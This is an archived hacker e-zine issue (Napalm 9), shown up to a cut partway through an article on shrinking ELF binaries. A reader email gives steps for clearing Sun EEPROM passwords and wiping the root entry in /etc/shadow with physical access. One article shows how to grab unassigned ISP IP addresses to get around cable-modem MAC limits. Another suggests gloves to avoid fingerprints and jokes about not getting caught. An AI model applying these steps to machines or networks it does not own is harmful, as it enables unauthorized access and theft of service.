home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / napalm / napalm-9.txt < prev   
Encoding:
Text File  |  2002-05-27  |  58.8 KB  |  1,451 lines

  1.            /\  /^/_ _ __  __ _|^|_ __ ___
  2.           /  \/ / _` '_ \/ _` | | '_ ` _ \
  3.          / /\  / (_| |_)  (_| | | | | | | |
  4.         / /  \/ \__, .__/\__,_|_|_| |_| |_|
  5.                    |_|
  6.  
  7. .                                 .                      . ..n9: 2000.02.05
  8. ---------------------------------------------------------------------------
  9. all content copyright ⌐ 2001 by the individual authors. all rights reserved
  10. ---------------------------------------------------------------------------
  11.  
  12. # prtvtoc
  13. . . . .....................................................................
  14. 0x00  Editor's Comments
  15. 0x01  Subscriber Emails
  16. 0x02  Cable Modem Quicky: Hiding Inside the Data Link Layer
  17. 0x03  The Hacker's Survival Kit
  18. 0x04  On Binary Size and Reduction
  19. 0x05  Hacker 'Zines and Information Security Magazine
  20. 0x06  Press Release: Cybertech Magazine
  21. 0x07  More Holes in Sun Cluster 2.x
  22. 0x08  Masquerading as IPSEC for Fun and Profit
  23. 0x09  Music Reviews
  24. 0x0A  Credits
  25. ..................................................................... . . .
  26.  
  27. ___________________________________
  28. --------------------------- - kynik
  29. [=] 0x00: Editor's Comments
  30.  
  31. We've got the second-largest issue to date, and by the number of articles,
  32. the largest. Issue 9 has quite a wide selection of topics, from how
  33. 'hacker' zines are viewed by the 'legit' corporate world, to more on IPSEC
  34. in the continuing saga. Also plenty of stuff in here for you UNIX-philes.
  35. It is with sadness that we wave goodbye to the music reviews as they've
  36. been. I just can't get enough people to commit to doing them when the
  37. time comes. No, I don't want any volunteers. See that section for details.
  38. I'm happy about the subscriber response we've received, as can be seen in
  39. the following section...keep them coming! I'm very willing to post your
  40. questions and comments here. Enjoy!
  41.  
  42. ___________________________________
  43. --------------------------- - kynik
  44. [=] 0x01: Subscriber Emails
  45.  
  46. George Dodd <gdd@siliconinc.net> wrote [forwarded from _azure] :
  47.  
  48.  
  49. All of them are related to kernel memory tuning.
  50.  
  51. > > > option          BUFCACHEPERCENT=25
  52.  
  53. Percentage of memory to allocate for FS caching. Defaults to
  54. 5% and can be no greater than 70. Nice performance improvement.
  55. Keep in mind this can make for a pretty memory greedy machine
  56. though.
  57.  
  58. /usr/src/sys/arch/$ARCH/$ARCH/machdep.c for more info.
  59.  
  60. > > > option          NKMEMCLUSTERS=8192
  61. > > > option          MAX_KMAP=120
  62. > > > option          MAX_KMAPENT=6000
  63.  
  64. The other 3 are sorta legacy stuff. Under older versions like
  65. less than 2.7, you would see problems with kernel memory being
  66. insufficient, ie "mb_map_full" messages. Its much much
  67. better under recent releases, but I put it in there anyway just
  68. to be safe. The KMAP stuff increases the number of kernel maps
  69. that are available. It was required when softupdates first
  70. came out. After 2.6, I have only managed to hit the limit on
  71. that once. Documentation can be found under the performance
  72. tuning FAQ from 2.5 and earlier. From vm_map.[c,h]
  73.  
  74. The new way: (2.8 snap as of 1 month ago)
  75. #ifndef MAX_KMAP
  76. #define MAX_KMAP        20
  77. #endif
  78. #ifndef MAX_KMAPENT
  79. #if (50 + (2 * NPROC) > 1000)
  80. #define MAX_KMAPENT (50 + (2 * NPROC))
  81. #else
  82. #define MAX_KMAPENT     1000  /* XXXCDC: no crash */
  83. #endif
  84. #endif
  85.  
  86.  
  87. The old way: (2.6)
  88. #ifndef MAX_KMAP
  89. #define MAX_KMAP        20
  90. #endif
  91. #ifndef MAX_KMAPENT
  92. #define MAX_KMAPENT     1000
  93. #endif
  94.  
  95. If you are really into the obsd kernel hacking thing, you
  96. may want to check out Phrack #54 also. It had some pretty
  97. neat stuff in it on 2.4 kernel mods.
  98.  
  99. Ciao,
  100.  
  101. George Dodd
  102. jhh@EFnet
  103.  
  104. --------------------------------------------------------
  105.  
  106. Jack Trades <j0atz@hotmail.com> wrote:
  107.  
  108.   I was just catching up on your e-zine, since I have been out of the
  109. country for a few months now on business. Upon returning I read the
  110. second zine again while I was persuing some sites and I realized that you
  111. were looking to 'mentor' some people. Now, no, I am not looking for a
  112. mentor, but I did want to compliment you on taking on such an endeavor.
  113.  
  114. [ Thanks, and for those who are interested, I've become much too busy to
  115.   be able to handle a mentoring spot anymore. If anybody has any
  116.   questions they'd like answered, though, I will take those and put them
  117.   in Napalm, though. {kynik} ]
  118.  
  119.   You did ask for some unbiased opinion on the zine and what things other
  120. people (or groups in our case) would be interested. We have been around
  121. for quite sometime in the security of all hardware (instead of just the
  122. actual computer - the hub, the switch, the phone), etc. Where we would
  123. like more information, have found it hard to come by is one the phone
  124. networks themselves - their weaknesses and flaws (info in likeness to the
  125. Phone Mazters who were busted a little over a year and a half ago). Not
  126. only would we find this information useful, but so would, we believe,
  127. many others - both old school and newbies.
  128.  
  129.   Keep up the good work and we look forward to hearing back from you or
  130. your crew.
  131.  
  132. jack
  133.  
  134. PS: it may take a while to xfer - they be a bouncing everywhere.
  135.  
  136. [ I personally don't know much about phone networks or the like, but I'll
  137.   try to tap some more knowledgeable people and see if they'd do an
  138.   article in the future. Thanks for the request! {kynik} ]
  139.  
  140. --------------------------------------------------------
  141.  
  142. Rudi Ruesell <vincetier@hotmail.com> wrote:
  143.  
  144.   Hi my name is vince and i┤m not really far in computing or all the stuff
  145. you talk about in your zine, but what i┤d like to know is: are there
  146. things like worms, or whatever you call it (i read shadowrun thats why i
  147. cal it so), that crawl throgh the web offline or online searching for
  148. exactly that you looking for and coming back with tons of information(
  149. you know like in Matrix while Neo sleeps)? If there are stuff like that
  150. how may i use it or what exactly is it. I feel a bit ashamed to ask
  151. someone about something i don┤t even know the name but i┤d be happy if
  152. you could answer or at least say piss off with that toy shit little boy.
  153. OK thanx that┤s it ... Vince
  154.  
  155. [ Piss off with that toy shit? I think you've got the wrong zine. If
  156.   we're gonna pick on you, we'd be more mature about it. Just kidding.
  157.   Anyways, let's get some terminology down. A worm is an automated
  158.   program that moves itself from computer to computer, without any human
  159.   interaction. The difference between a virus and a worm is the human
  160.   interaction part. Now, what you're asking about (presumably) is called
  161.   a web spider or web robot. Most web search engines do this constantly,
  162.   and update their databases of links accordingly. When you type "Napalm"
  163.   into a search engine, it will use the data its spiders have already
  164.   grabbed and return you all sorts of relevant and irrelevant links.
  165.   There's no way currently to read your mind and spit out a nice report of
  166.   it all. You need a human to do that ;) So, there's not that much point
  167.   (besides geek value) to run your own spider to gather specific
  168.   information. Where do you go about finding out more information about
  169.   web spiders? Try a search engine. www.google.com is my personaly
  170.   favorite. Type in "web spiders" (with quotes) and click Search. Voila!
  171.   How does google give you relevant information?
  172.     http://www.google.com/technology/index.html      {kynik} ]
  173.  
  174. --------------------------------------------------------
  175.  
  176. Brian Levy <brianglevy@hotmail.com> wrote:
  177.  
  178. Hello....could you tell me if it is possible to copy the SAM from one
  179. system to another?!
  180.  
  181. thanks
  182. Brian
  183.  
  184. [ I think you'd be better off using something like Norton Ghost (?) to
  185.   copy the entire partition over, as the SAM probably references user IDs
  186.   that may not exist on the new system. Here's a page with more
  187.   information on SAMs and their grooming:
  188.   http://www.microsoft.com/technet/winnt/storpass.asp  {kynik} ]
  189.  
  190. --------------------------------------------------------
  191.  
  192. Adam Goral <AdamG@btconnect.com> wrote:
  193.  
  194. Hi,
  195. First of all excellent article you have there.
  196. Do you know of any sites I could find similar info on uk phones?
  197.  
  198. thx
  199.  
  200. [ Any British subscribers want to field this one? Bobtfish? {kynik} ]
  201.  
  202. --------------------------------------------------------
  203.  
  204. Monkey Boy <monkey-boy@biteme.com> wrote:
  205.  
  206. have been working my way through your back catalogue & have just finished
  207. Issue #8... the Nortel phone section was excellent - witty, articulate &
  208. frikkin interesting to boot (as with the rest of it)... keep up the good
  209. work
  210.  
  211. Monkey-Boy (UK)
  212.  
  213. ps any more stuff on crypto shit would be real cool. Cheers Again.
  214.  
  215. [ Thanks, and I'll see if I can't put something up about AES sometime soon
  216.   for all you cryptophiles ;) {kynik} ]
  217.  
  218. --------------------------------------------------------
  219.  
  220. David Bryant <david@datashadow.net> wrote:
  221.  
  222. Greetings,
  223.  
  224. Cool Zine, I hope you can keep it up (I notice that you've been quiet for
  225. a couple of months).
  226.  
  227. [ Yeah, motivation and offline stuff keeps me a slacker. {kynik} ]
  228.  
  229. In reply to kynik's query about Sun EEPROM work around's in issue 4
  230. here's some information...
  231.  
  232. --------------------
  233. Miscellaneous ramblings on EEPROM passwords
  234.  
  235. If a system has an EEPROM password set, and you can login as root, you
  236. can then run "/usr/sbin/eeprom security-mode=none".
  237.  
  238. If you get a machine that has "security-mode" set to "command" or "full",
  239. and you don't know the security-password, or root's password, then you
  240. won't be able to boot off of anything but the configured boot device.
  241.  
  242. 1. Determine the current boot disk, usually SCSI ID 0 or 3. Disconnect
  243. it. Connect an external Sun bootable CD-ROM drive and set its SCSI ID to
  244. that of the normal boot drive. Put a Solaris Installation CD-ROM into the
  245. drive. Power on the system and allow it to boot from the CD-ROM. After
  246. answering a few questions during the initial part of the installation
  247. you can Ctrl-C out of the installation process and be presented with a
  248. root prompt. Run "/usr/sbin/eeprom security-mode=none" to clear the
  249. EEPROM password. Turn off auto-booting by running "/usr/sbin/eeprom
  250. auto-boot\?=false" (Escape the question mark). Power down (init 5) the
  251. system. Reattach the original hard drive, move the external CD-ROM drive
  252. to ID 6 (or use the existing internal CD-ROM if there is one). Power on
  253. the system, it should stop at the OK prompt. Follow the normal procedures
  254. to reset a lost root password (boot cdrom -s, mount /dev/dsk/c0t0d0s0 /a,
  255. ex /a/etc/shadow, wipe password, w, q, umount /a, init 6)
  256.  
  257. 2. Locate another system with the same architecture as the one with the
  258. unknown password. Ensure that the other system has "security-mode" set to
  259. none. Power the system down and remove it's EEPROM chip (usually in a
  260. plastic carrier with an orange barcode on top). Replace the EEPROM on the
  261. unknown system with the one from the known system. Boot up with the known
  262. EEPROM Follow the steps above to reset the root password. Power down and
  263. return the known EEPROM to the original system.
  264.  
  265. I was once told by a Sun instructor that once an EEPROM security-password
  266. has been set there is no way to "clear" it. I've not tested but I wonder if
  267. a password of "" (null) would work.
  268. --------------------
  269.  
  270. Best of luck!
  271.  
  272. David
  273.  
  274. [ Thanks David, on the great answer and mini-article. You sound like
  275.   someone who can write and knows something. (Two rare qualities when
  276.   combined) If you have anything else you'd like to write, please drop me
  277.   a line. {kynik} ]
  278.  
  279. ________________________________________________________________________
  280. --------------------------------------------------------------- - _azure
  281. [=] 0x02: Cable Modem Quicky: Hiding Inside the Data Link Layer
  282.  
  283. /Intro and Background
  284.  
  285.   When my cable modem was first installed, I was out of the house at a
  286. jobsite. I returned home that evening to find out that I had not been
  287. provided with data concerning the two additional IP addresses I requested.
  288. Eventually, I was able to contact my ISP on the phone and was provided
  289. with my additional addresses. I was assigned two IPs that were in a
  290. different subnet from the one I received when my cable modem was first
  291. installed. Having recently done some work for a competing cable company,
  292. this seemed fishy since the technology I was previously exposed to was
  293. not capable of supporting addresses on multiple networks. It would be
  294. several days (and phone calls) later when I was actually able to get all
  295. of my addresses functioning - but they did eventually fire up and pass
  296. traffic.
  297.  
  298.   Since that time, I've continued to have quite a bit of trouble with my
  299. cable modem. Typically, my ISP reboots their 'servers' at least once a
  300. week, which disrupts my Internet access, sometimes for hours at a time.
  301. Often there is a problem when their system comes back up, and my cable
  302. modem falls into a 'failure loop'. When this happens, my access to the
  303. Internet will be down until the next time they decide to reboot 'the
  304. servers'.
  305.  
  306.   Most recently, I suffered an outage that lasted from late one Thursday
  307. evening until the morning of the following Tuesday. During this time, I
  308. was never able to use more than two of my IP addresses at the same time.
  309. I discovered through trial and error that if I manually rebooted my cable
  310. modem, the working addresses would switch places with the inactive ones,
  311. and I would suddenly have access to my 'dead' machines again.
  312.  
  313.   Throughout this downtime, I continued to tinker with my setup, and
  314. eventually discovered that it was possible to grab other IPs from my
  315. original subnet (guessing as to what addresses might be free). I was
  316. actually able to start using these addressees to make contact with the
  317. Internet.
  318.  
  319. /Cable Modems
  320.  
  321.   My cable modem is a Nortel Networks Cable Modem (CM) 100. As it turns
  322. out, the CM-100 is a Data Over Cable Service Interface Specifications
  323. (DOCSIS) device, and actually functions more like a bridge than a router.
  324. There is no IP address assigned directly to the CM itself; and in fact
  325. the default gateway addresses for each subnet point to a 'server' machine
  326. at the cable plant. It is equipped with both a coaxial (for connection to
  327. the cable plant) and RJ-45 Ethernet (for connection to customer network
  328. devices) connector. No other I/O interfaces are evident on the exterior
  329. of the unit. It is capable of both Data Link and Network Layer bridging,
  330. and allows up to 16 individual MAC addresses to connect through it
  331. simultaneously. MAC authorization is assigned in blocks of four at
  332. the cable plant.
  333.  
  334.   The documentation also purports that the CM-100 is a SNMP manageable
  335. device, with support for firmware updates via TFTP. I have not yet
  336. experimented with trying to alter the firmware of the unit myself.
  337. What I've found more interesting is the fact that by assigning multiple
  338. addresses to a single Ethernet interface on a client machine, it is
  339. possible to bypass the MAC limiting and make use of more IP addresses
  340. than were assigned to the unit.
  341.  
  342.   Since the purpose of DOCSIS is to create a standard that different
  343. vendors can design their hardware against, it is assumed that the
  344. following techniques will be effective against other DOCSIS systems.
  345. Exploration is left up to the reader.
  346.  
  347. /Unix Routing with OpenBSD and IPNAT
  348.  
  349.   Utilizing a spare box and OpenBSD's native NAT capabilities, it is
  350. possible to create a single Firewall Machine that can be the 'face' on
  351. a theoretically unlimited number of internal Internet Hosts. A single
  352. MAC address will communicate with the CM, while holding a number of
  353. public IP addresses and routing traffic between an Internal Network of
  354. hosts and the Internet outside.
  355.  
  356. --/Hooking It All Up
  357.  
  358.   Let's be sensible about this. You're going to want to use a crossover
  359. cable directly between your cable modem and your external interface on
  360. the Firewall. This way, you will get full-duplex 10MBs throughput at
  361. your most crucial bottleneck (a diagram for constructing a crossover
  362. cable from scratch is included at the end of this article). Doing this
  363. eliminates the network congestion created by plugging your CM into a hub.
  364.  
  365.   Wiring your Internet Hosts can be done in a number of ways. A single
  366. Ethernet interface (100MBs is suggested) plugged into an internal hub or
  367. switch may be sufficient to handle traffic to and from the Firewall.
  368. Other applications may require Physical Layer separation of the
  369. individual Internet Hosts. This can be accomplished by connecting each
  370. machine to its own NIC in the Firewall with a crossover cable.
  371.  
  372. In the end, you should have a setup that looks something like this:
  373.  
  374.     Your.Internet.Host <--> OpenBSD/router <--> Cable Modem
  375.  
  376.  
  377. --/Preparing OpenBSD to Route
  378.  
  379.   OpenBSD does not come out of the box ready to route traffic. You'll
  380. need to edit /etc/sysctl.conf and enable the following variable:
  381.  
  382.     net.inet.ip.forwarding=1 # 1=Permit forwarding (routing) of packets
  383.  
  384. /etc/rc.conf will also need the following:
  385.  
  386.     ipfilter=YES
  387.     ipnat=YES                # for "YES" ipfilter must also be "YES"
  388.  
  389.   A kernel option you might want to consider for performance tweaking on
  390. 100MBs enabled systems is:
  391.  
  392.     option          NMBCLUSTERS=8192
  393.  
  394. Upon reboot your system should be ready to go.
  395.  
  396. --/IPNAT
  397.  
  398.   Take a look at what you've got. Select another IP address from the
  399. same subnet as your legitimate EXTERNAL_IP for use on your internal
  400. Internet Host(s). (If your ISP is using multiple subnets, and you have
  401. access to information regarding these addresses, it may be possible to
  402. use IPs from any legitimate subnet they support).
  403.  
  404.   You'll need to add the ILICIT_EXTERNAL_IP(s) you selected to the
  405. EXTERNAL_INTERFACE on your Firewall, and an INTERNAL_IP  on its
  406. INTERNAL_INTERFACE for each INTERNAL_NETWORK you plan to create. We'll
  407. each INTERNAL_NETWORK you plan to create. We'll use Darren Reed's
  408. IPFILTER package (which includes IPNAT) to redirect incoming traffic
  409. through the Firewall to the Internet Hosts on each INTERNAL_NETWORK, and
  410. back out again.
  411.  
  412. In /etc/ipnat.rules:
  413.  
  414.     bimap EXTERNAL_INTERFACE INTERNAL_HOST_IP/32 -> ILICIT_EXTERNAL_IP/32
  415.  
  416.   This creates a (as the name implies) bi-directional map between
  417. ILICIT_EXTERNAL_IP and INTERNAL_HOST_IP. The internal Internet Host will
  418. be able to surf the net, and any incoming traffic destined for
  419. ILICIT_EXTERNAL_IP will be immediately forwarded to INTERNAL_HOST_IP.
  420.  
  421. Remember to flush and re-initialize IPNAT:
  422.  
  423.     # ipnat -CF -f /etc/ipnat.rules
  424.  
  425.   Traffic should now pass freely from the Internet to ILICIT_EXTERNAL_IP
  426. on any port that you have open on the internal Internet Host.
  427.  
  428. --/Other Considerations
  429.  
  430.   It would be a good idea to create a set of comprehensive filtering
  431. rules for the internal Internet Hosts with IPF, either on the Firewall or
  432. on the machines themselves. As this is not necessary to achieve
  433. functionality, and I've beaten the IPF issue to death in previous
  434. articles (see Napalm 7 and 8); I won't go into the intricacies of
  435. stateful packet filtering at this time. Keep in mind though that the
  436. IPNAT configuration above does not protect the internal Internet Hosts in
  437. any way shape or form - they are in fact just as vulnerable as any
  438. regular host sitting uprotected on the Internet.
  439.  
  440. /Conclusion
  441.  
  442.   Utilizing an OpenBSD box as a router, we have bypassed the MAC address
  443. limits assigned to your CM and successfully snatched another functioning
  444. IP from the Ether. This technique has only been tested with the Nortel
  445. Networks CM-100, but other DOCSIS cable modems using MAC-based access
  446. controls are probably vulnerable to the same circumvention techniques.
  447.  
  448.   Brochure propaganda for the Nortel Networks CM-100 states that the
  449. system thwarts hackers by utilizing 56-bit DES encryption and RSA keys
  450. to ensure that only authorized personnel make changes to your cable
  451. modem's configuration. This is just another example of why encryption
  452. does not always save the day by its lonesome when the basic
  453. implementation of access controls is flawed. In this case it wasn't
  454. necessary to 'hack into' anything but common sense to bypass security
  455. restrictions.
  456.  
  457. Happy hunting, and don't shoot your foot off.
  458.  
  459. /Further Reading
  460.  
  461.     Nortel Cable Modem 100
  462.         [ http://www.mercury.com.ar/htm/nortel/CableModem100.htm ]
  463.     Ethernet 10BaseT or 100BaseT Crossover Cable
  464.         [ http://www.gcctech.com/ts/doc/crossover.html ]
  465.     IPF/IPNAT reference from Napalm #7 and 8
  466.         [ http://napalm.firest0rm.org/issue7.html#integ ]
  467.         [ http://napalm.firest0rm.org/issue8.html#ipsec ]
  468.     ipnat(5)
  469.     ipf(8)
  470.  
  471.  
  472. /Signed
  473.  
  474. .-------------------------------------------------------------------.
  475. |                                                                   |
  476. |   _azure                                                          |
  477. |                                                                   |
  478. `-------------------------------------------------------------------'
  479.  
  480. _________________________________________________
  481. ----------------------------------- - Thomas Icom
  482. [=] 0x03: The Hacker's Survival Kit
  483.  
  484.   Hackers are notorious gadget freaks, and often like to go out and about
  485. into the real world to see what kind of trouble, eh, exploration they can
  486. get into. I've detailed a list of items that can be thrown into a
  487. hacker's survival kit and fits into a courier bag or daypack. The list is
  488. derived from my own experiences as a technological hobbyist. All of the
  489. items are self-explanatory, and there is plenty of leeway to customize
  490. the kit towards your own tastes and preferences. I've designed this kit
  491. to be easily portable. Many of you are too young to (legally) drive, or
  492. live in urban areas where your transportation is usually public, bicycle,
  493. or shank's mare.
  494.  
  495.   We will start with the basics: Something to carry your gear around in.
  496. Most people go with either a courier bag or day-type backpack. Urban
  497. bicyclists seem to like the courier bags while walking types prefer
  498. backpacks; it's all a matter of preference. We like backpacks as they
  499. stay out of the way better, leave both hands free, and are less
  500. cumbersome than a bag hanging off your side. A decent military-surplus
  501. backpack is sturdier and less expensive than some of those courier bags.
  502. Also, the "shittier" your bag looks, the less likely it is that someone
  503. will try and rip it off you.
  504.  
  505.   Get something in a neutral earth-type color like green, brown, grey, or
  506. black. This not only stands out less, but also makes it easier to cache
  507. (hide) if you can't bring it in with you. Our recommendation is that it
  508. never leave your possession, but we know some places will want you to
  509. check it at the door. Whether you check it or hide it depends on what you
  510. have in the bag, and the relative time needed to get to it.
  511.  
  512.   Another thing you will want to start wearing, if you already don't, is
  513. a belt. It doesn't matter what type of belt as long as it's sturdy.
  514. Besides helping hold your pants up (which I'm sure is difficult
  515. considering some of you wear your pants 5 sizes too big), you can carry
  516. equipment on it: pager, Mini Maglite, Leatherman Tool, Buck Knife, etc.
  517.  
  518.   Now that you have something to carry your gear around in we can begin
  519. to almost fill it. You never want to run around with a full bag, in case
  520. you find something you want to take with you.
  521.  
  522.   I'll start with what you'll be carrying on your person. Get a
  523. Leatherman Tool, Gerber Multi-Plier, or Swiss Army Knife. My Leatherman
  524. PST-2 has neeedlenose pliers, wire cutters, file, clip point
  525. serrated/plain edge knife blade, metal saw, regular and phillips
  526. screwdrivers, can/bottle opener, and a small pair of scissors. I also
  527. occasionally carry a Camillus U.S. Military pocket knife. This is your
  528. classic four item "boy scout type" knife that has a plain-edged spear
  529. point blade, screwdriver/bottle opener, can opener, and mini
  530. screwdriver/awl.
  531.  
  532.   For heavier cutting tasks and possible self-defense usage get a good
  533. lock blade knife. The Rolls Royce of these (in my opinion) is Benchmade.
  534. Until recently I carried a CQB Folder which replaced the Cold Steel
  535. Folding Tanto that I retired. The tanto-point blade, while excellent for
  536. self-defense, is not the best for general purpose use and it is also a
  537. little bit heavy for everyday carrying. I went back to a Spyderco Endura
  538. Clipit. Spyderco blades are serrated and offer tremendous cutting power
  539. for their size. I've owned mine for quite a few years now, and it has yet
  540. to require sharpening. The other nice thing about the Spyderco is that if
  541. you lose it, you're only out $45 as opposed to $120 for some of the
  542. Benchmade knives. While you shouldn't lose tools, it happens (In the past
  543. 30 years I've misplaced several pocketknives, a Gerber Multi-Plier, a
  544. Spyderco Worker, and an Al-Mar folder that have yet to reappear). For
  545. those on a budget, the Schrade Cliphangers are a lot of knife for the
  546. money, and I believe United Cutlery (I believe) makes a nice "Mechanics
  547. Liner Lock" with a 3-4" serrated blade (and they went for no more than
  548. $20 and were well made knives).
  549.  
  550.   Being a hardware hacker, I also carry around a few extra tools. A
  551. multi-bit screwdriver and a set of tamper proof bits have come in handy
  552. on numerous occasions; as have a little 6" pry-bar (nicknamed "the goblin
  553. bar" by an old acquaintance of mine) I picked up at a dollar store for,
  554. well, a dollar. A Radio Shack mini-multimeter also resides in my kit.
  555. Those heavy-duty scissors known as "EMT Shears" that will cut through a
  556. penny and only cost a few bucks are nice to have as well. A roll of duct
  557. tape and electrical tape complement the package. It is said that you can
  558. fix anything with duct tape. Now you need fire. Disposable lighters are
  559. nice. What's even better is one of those butane lighter/torches that put
  560. out a jet of blue flame. You can solder and almost weld with one of
  561. those. Include a butane refill cylinder. Some really "elite" types carry
  562. the miniature battery-operated Dremel Tool with a small case of relavent
  563. bits. Dremel tools have several thousand uses.
  564.  
  565.   Another thing you should have on you is a Mini Mag lite or similar
  566. small two AA-cell flashlight. If you've ever been caught inside a modern
  567. office building or apartment when the lights go out, you'll appreciate
  568. how handy having a little flashlight is. You can get a headband which
  569. places a Mini-Mag on the side of your head at eye level; an excellent
  570. idea when you need to work on something with both hands in the dark. You
  571. should also get the accessory kit for the red filter lens, as the red
  572. lens enables you to have a light source that doesn't fuck up your night
  573. vision. A cheap set of 8x or 10x binoculars are nice to see things that
  574. are far away and don't take up much space. Recently a friend gave me
  575. this piece of optics the size of a large pen that is both an 8x telescope
  576. and a 30x microscope. It was supposedly standard KGB issue. I also like
  577. to have a jewelers loupe handy for reading part numbers on electronic
  578. components (jeweler's loupes have coolness factor). For memory-aids, I
  579. include a copy of Pocket Ref, a little notepad, and writing implements.
  580. While individuals have taken to carrying around electronic notepads or
  581. Palm Pilots, I'm a little retro in my choice of memory aids, as they
  582. don't require batteries that go dead at inopportune times.
  583.  
  584.   Communications tools are next. If you can get your friends to carry FRS
  585. or 2-meter radios that's all fine and dandy, otherwise get a one-piece
  586. phone, cut the modular plug off the end, and attach alligator clips to
  587. the red and green wires. Get one of the portable touch-tone pads from
  588. Radio Shack. Get a pager with voice mail. If someone wants to reach you
  589. they page you and you can then call them back by whatever means you have
  590. or desire. Communications receivers (scanners) have come down in price
  591. and size. An Icom R2 and Alinco DJ-X2T are small wide-band receivers
  592. capable of picking up everything from AM/FM broadcasters, to shortwave
  593. stations, to local public safety communications.
  594.  
  595.   Throw a set of work gloves in your pack. Not only will they keep you
  596. from leaving fingerprints, but they also protect your hands from damage
  597. and keep them warm. For the summer, I get a "six pack" of cotton work
  598. gloves for about $5. In the winter I replace them with wool army "glove
  599. liners" and black leather "glove shell". Speaking of damage, throw in
  600. some assorted Band-Aids, "butterfly strips", gauze pads, first-aid tape,
  601. tweezers, alcohol pads, and some Mercurichrome or similar ointment in
  602. your kit. You will in the course of your adventures get minor dings,
  603. scratches, slivers and cuts, and will be glad you have it. It beats
  604. bleeding all over the place.
  605.  
  606.   Clothing is next. Cold weather and rain just happen some times and you
  607. may spare yourself some discomfort or hypothermia with nice dark sweater
  608. or sweatshirt and a rain poncho or anorak. You can add spare socks and
  609. possibly undergarments if there is the possibility of staying overnight
  610. unexpectedly somewhere. Start wearing a hat. Baseball caps are OK, but I
  611. like outback "Crocodile Dundee" style hats that are made of waxed cotton
  612. and shed water like a duck's back.
  613.  
  614.   Now I will discuss weapons. Whether or not you decide to carry them is
  615. a personal decision. In most areas they are heavily frowned upon or
  616. illegal. I personally feel that "An armed society is a polite one"
  617. (Robert A. Heinlein)  and that everyone should have the right to carry
  618. defensive weaponry if they so choose. Some places such as Massachusetts,
  619. California, and New York don't share my feeling. If you live in a
  620. Communist state, either move or follow the Eleventh Commandment (Thou
  621. shalt not get caught). In most places you can carry pepper spray with
  622. little hassle. It works most of the time, but be advised some people have
  623. an immunity to it. Don't spray into the wind, as you will dose yourself,
  624. and if you spray it in an enclosed area everyone nearby will get a sniff
  625. of it, yourself included. High-voltage stun-guns are pretty effective,
  626. despite claims to the contrary. To quote Kurt Saxon in The Poor Man's
  627. James Bond, "Anyone unaffected by 50,000 volts is from another planet".
  628.  
  629.   It's neat to be able to do field surgery on electronic devices, fix
  630. your ride, or be able to do a little "urban exploration" on a moment's
  631. notice. Carrying around a portable techie's work-shop has its own flavor
  632. of eliteness. Being prepared for sudden changes in plans or unforeseen
  633. circumstances is a good thing. Hopefully, this article got your
  634. brain-gears going, and that's another good thing.
  635.  
  636. 12/31/2000 - Thomas Icom <ticom@iirg.org>
  637. http://www.iirg.org/~ticom/
  638.  
  639. [ Thanks for the article, Tom. It's a little different from what I'd
  640.   normally include here, but I figured many of you out there would find
  641.   it interesting. {kynik} ]
  642.  
  643. _______________________________________________
  644. -------------------------------------- - Orbitz
  645. [=] 0x04: On Binary Size and Reduction
  646.  
  647.   While it is not so much a problem nowadays, file size used to be a big
  648. issue. Today, we all have 15GB hard drives and like to use every byte of
  649. it up. Making your executables as small as possible is limited to mostly
  650. contests, but the knowledge behind it is always good to know.
  651.  
  652. Note: The information in this is not useful to you unless you either like
  653. to know everything or are a hardcore ASM coder. These techniques will
  654. only be helpful on small projects where size and speed is a big issue. I
  655. am using Slackware 7.1 on a 2.2.16 kernel with gcc version egcs-2.91.66
  656. 19990314/Linux (egcs-1.1.2 release).
  657.  
  658.   This article will go briefly over how to make smaller executables (our
  659. outputs will be ELF) with gcc. You should allready know what Assembly is,
  660. how to use AT&T syntax, and some C would be ideal. First, let us start off
  661. with making a C file smaller. Our test program looks like:
  662.  
  663. #include <stdio.h>
  664. int main(void)
  665. {
  666.   printf("Hello World\n");
  667.   return 0;
  668. }
  669.  
  670. Save that as test.c and in the same directory type:
  671.  
  672. $ gcc -o test test.c
  673.  
  674. That compiles your C program (Duh).
  675. Now run:
  676.  
  677. $ wc -c test
  678.  
  679. That outputs:
  680.   11666 test
  681.  
  682. Christ! That is huge. What can we do to make this smaller? First, we can
  683. strip it.
  684. Type:
  685.  
  686. $ strip test
  687. $ wc -c test
  688.    2996 test
  689.  
  690. Hot damn. That is much smaller, but we can make it even smaller yet.
  691. But first, I will explain this strip thing.
  692.  
  693. $ strip <object filename here>
  694.  
  695. In this case it was an executable file. Strip removes the symbols from the
  696. file you give as an argument. Running strip is the same as using the -s
  697. flag in gcc.
  698.  
  699. For example, we could have done
  700.  
  701. $ gcc -s -o test test.c
  702.  
  703. To knock a few more bytes off our executable we can do:
  704.  
  705. $ gcc -O2 -s -o test test.c
  706. $ wc -c test
  707.    2992 test
  708.  
  709. That is better. Now for the intense stuff. To get the Assembly output of a
  710. C file in gcc you do
  711.  
  712. $ gcc -S <somefile>.
  713.  
  714. In our case we will do
  715.  
  716. $ gcc -S test.c
  717.  
  718. The -S flag creates a file of the same name but with a .s extension.
  719. Opening test.s should reveal some rather ghoulish-looking assembly code.
  720. This is ok.
  721.  
  722. First we have to edit the part that says:
  723.  
  724. .globl main
  725. . .   .typ.   main,@function
  726. main:
  727. Change it to:
  728. .globl _start
  729. _start:
  730.  
  731.   What is this _start thing? When the linker creates your executable, it
  732. uses_start as the entry point then calls your main() function. So instead
  733. of having gcc make the _start for us and having it call main(), we just
  734. create our own _start. In order to get this to compile, we are going to
  735. need to use the -nostartfiles flag in gcc. This flag basically tells gcc
  736. that we have our own _start and not to look for a main() because it does
  737. not exist. There is going to be a slight problem, however. _start is not a
  738. function, and you'll notice that at the end of the program we have a
  739. 'ret'. Since _start is just an entry point, and not a function we need to
  740. tell it to exit the program instead of try to return from a function.
  741. This will be the first use of syscalls, which I will explain later. Find
  742. the part that ret's from the function. It should look like:
  743.  
  744. .L1:
  745.  leave
  746.  ret
  747.  
  748. Change that to:
  749. .L1:
  750.  movl $1, %eax
  751.  int $0x80
  752.  
  753. Lets see how much this decreased our program size by:
  754.  
  755. $ gcc -nostartfiles -O2 -s -o test test.s
  756.  
  757. Then:
  758.  
  759. $ wc -c test
  760.    1516 test
  761.  
  762.   Sweet! If we hadn't changed the ret, the program would segfault when we
  763. ran it. Before continuing, an explanation of this syscall thing will be
  764. needed.
  765.  
  766.   If you have ever done any DOS Assembly programming, you are familiar
  767. with interrupts. You have BIOS and DOS interrupts (which DOS ASM
  768. programmers often use as if there is no difference). With different
  769. interrupts and values in your registers, you can do different things. You
